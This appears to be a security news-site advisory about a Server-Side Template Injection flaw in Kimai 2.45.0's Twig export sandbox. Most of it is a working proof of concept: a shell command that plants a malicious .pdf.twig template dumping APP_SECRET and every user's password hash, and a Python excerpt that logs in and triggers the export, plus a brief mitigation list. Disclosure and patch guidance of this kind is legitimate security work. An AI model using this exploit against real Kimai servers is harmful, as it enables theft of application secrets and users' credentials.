Listen to this Post
The vulnerability exists in the Twig template sandbox for exports. The `ExportPolicy` uses a `DefaultPolicy` with no security restrictions in its `checkMethodAllowed()` and `checkPropertyAllowed()` functions. An authenticated admin user with export permissions can place a malicious `.pdf.twig` template file on the server. When this template is rendered during a data export, it can call dangerous methods on available Twig context objects, such as `app.request.server.get()` to read environment variables like `APP_SECRET` and DATABASE_URL, `app.session.get()` to retrieve serialized session tokens, and access `user.password` properties to exfiltrate bcrypt password hashes for all application users.
Platform: Kimai
Version: 2.45.0
Vulnerability: Server-Side Template Injection
Severity: Critical
date: 2026-01-05
Prediction: 2026-02-05
What Undercode Say:
docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<body>
<h1>===SSTI_EXTRACTION_START===</h1>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
{% for entry in entries %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endfor %}
</pre>
<h1>===SSTI_EXTRACTION_END===</h1>
</body>
</html>
TEMPLATE'
python3 ssti_exploit.py http://localhost:8001 admin password pdftotext kimai_extracted_data.pdf -
Excerpt from ssti_exploit.py
login_resp = self.session.post(
f"{self.target}/en/login_check",
data={"_username": self.username, "_password": self.password, "_csrf_token": csrf}
)
export_resp = self.session.post(
f"{self.target}/en/export/data",
data={"renderer": template_name, "state": "3"}
)
How Exploit:
Admin deploys malicious template.
Triggers export functionality.
Extracts secrets via PDF.
Protection from this CVE:
Replace DefaultPolicy with InvoicePolicy.
Restrict Twig sandbox methods.
Block server/session access.
Impact:
Full credential compromise.
Database access exposure.
Privilege escalation possible.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
